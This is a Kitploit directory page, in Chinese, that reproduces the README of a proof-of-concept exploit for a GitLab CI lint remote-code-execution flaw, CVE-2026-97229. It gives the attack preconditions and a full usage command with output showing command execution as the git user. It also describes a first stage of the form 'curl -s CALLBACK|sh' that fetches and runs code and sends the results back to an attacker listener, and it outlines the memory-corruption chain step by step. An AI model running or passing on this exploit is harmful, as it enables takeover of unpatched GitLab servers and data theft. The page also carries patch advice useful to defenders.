Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-97229-PoC — GitLab CI lint 整数溢出 RCE 漏洞 PoC(CVE-2026-97229),已针对官方 19.4.1 CE amd64 镜像验证 | Kitploit
工具/GitHubGitHub/jburgess-r7/cve-2026-97229-poc
漏洞分析漏洞利用Web应用程序漏洞利用后渗透利用Web安全远程访问工具Payload 开发
GitHubjburgess-r7/cve-2026-97229-poc

CVE-2026-97229-PoC

GitLab CI lint 整数溢出 RCE 漏洞 PoC(CVE-2026-97229),已针对官方 19.4.1 CE amd64 镜像验证

查看仓库
651116天前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-97229:通过 CI lint 实现 GitLab RCE

poc.py 通过 GitLab 公开的 CI lint 端点利用 CVE-2026-97229。拥有向公开项目推送权限的攻击者提供一条 CI 正则表达式和一个特殊命名的路径。完成该设置后,一个无需凭据的请求便会以 GitLab 的 git 账户执行所选命令。

这是初始 PoC 版本。针对该漏洞、受影响配置以及其他可达路径的分析仍在进行中。Rapid7 的技术分析链接见下文。

GitLab 将该问题评为 CVSS 10.0。它影响 GitLab Community Edition 和 Enterprise Edition,涉及 19.2 至 19.2.8 之前、19.3 至 19.3.5 之前,以及 19.4 至 19.4.2 之前的版本。

所包含的原生布局仅针对官方 Linux amd64 gitlab/gitlab-ce:19.4.1-ce.0 镜像进行了测试:

gitlab/gitlab-ce@sha256:9b33b45b9f42d176bada85ee5ecb81ddab7e506c435f44cd582206e284b2809c

前提条件

  • 你可以将分支推送到目标上的公开项目。普通项目账户即可满足此设置步骤。
  • 没有账户的用户可以读取该项目,并在交付步骤中访问 GET /api/v4/projects/:id/ci/lint。
  • 目标与所提供的 19.4.1 CE amd64 Ruby 布局相匹配。其他受影响的构建需要调整 pcode 和 libruby 偏移量。
  • 目标主机有足够的内存。生成的 pcode 略大于 2 GiB,完整的单节点测试实例需要约 9 GiB 可用内存。
  • 如果你希望不受限制地执行 --cmd 并返回输出,目标必须能够访问回调监听器。

该攻击链需要项目写入权限。其后续交付请求不包含令牌、Cookie 或授权头;经过身份验证的克隆 URL 会推送攻击者的载荷分支。

本地要求

使用 Python 3.9 或更高版本以及 Git 客户端。该脚本没有第三方 Python 依赖。

用法

$ python3 poc.py https://g.example 123 \
    --git-url 'https://oauth2:[email protected]/attacker/public-poc.git' \
    --callback-url cb.ex:8000 \
    --cmd 'uname -a && id'
[*] deployed attacker ref 69fe2478c446ab17afe4c150; executing: uname -a && id
[*] delivery GET https://g.example/api/v4/projects/123/ci/lint?content_ref=69fe2478c446ab17afe4c150
[*] target stopped responding after delivery: HTTP Error 502: Bad Gateway
[uname output omitted]
uid=998(git) gid=998(git) groups=998(git)

默认监听器绑定到 0.0.0.0:8000。当本地绑定地址与提供给 --callback-url 的地址不同时,请使用 --listen-host 或 --listen-port。

回调值必须能放入 28 字节的第一阶段命令中。使用 curl -s CALLBACK|sh 时,CALLBACK 最多只能有 17 个 UTF-8 字节。通常使用简短的 DNS 名称、重定向器或隧道端点最为简便。

当 GitLab 端点使用自签名 TLS 证书时,请使用 --insecure。该标志仅影响 lint 请求;它不会改变回调的 TLS 处理方式。

预期行为

GET 请求通常在回调后以 HTTP 502 结束。载荷在 Puma worker 内执行,而该 worker 在 system() 返回后崩溃。Puma 会自动替换它。应将返回的命令输出视为成功,而非 HTTP 状态。

在精确目标上,该利用链在启用 ASLR 的情况下,于 10 次干净 worker 试验中有 10 次产生了命令输出。每次请求耗时约 12 秒。在官方 19.4.2 Ruby 编译器上,相同的正则表达式和路径在没有回调的情况下返回 false。

在内存较低的目标上运行此操作可能导致交换、分配失败或内存不足终止,而非代码执行。多个并发请求可能影响整个 GitLab 实例。

利用链

  1. 在完成认证的仓库设置后,CI lint 无需凭据即可从攻击者选择的 content_ref 读取 .gitlab-ci.yml。
  2. include.rules.exists.regexp 编译一个表达式,并针对攻击者控制的仓库路径进行测试。
  3. {5(?#)7805} 在 Onigmo 中变为 {57805},但能绕过 GitLab 的重复扫描器。
  4. 一个 UTF-8 路径导致 Ruby 在 GitLab 的一兆字节编译大小检查之后重新编译已验证的 US-ASCII 表达式。
  5. 37,151 × 57,805 越过 INT_MAX,生成的跳转偏移量回绕到字符类位图字节中。
  6. 这些字节将 Onigmo VM 栈重定向到路径中,复用解释器指针以在 ASLR 下存活,并到达 libruby 中的 system() 调用点。
  7. 28 字节的路径命令下载 --cmd,然后将 stdout 和 stderr 发送回监听器。

技术分析

阅读 Rapid7 的 CVE-2026-97229 技术分析。

修复

升级到 GitLab 19.2.8、19.3.5、19.4.2 或更高版本的受支持发行版。有关部署指导,请参阅 GitLab 的关键补丁发布。

下载工具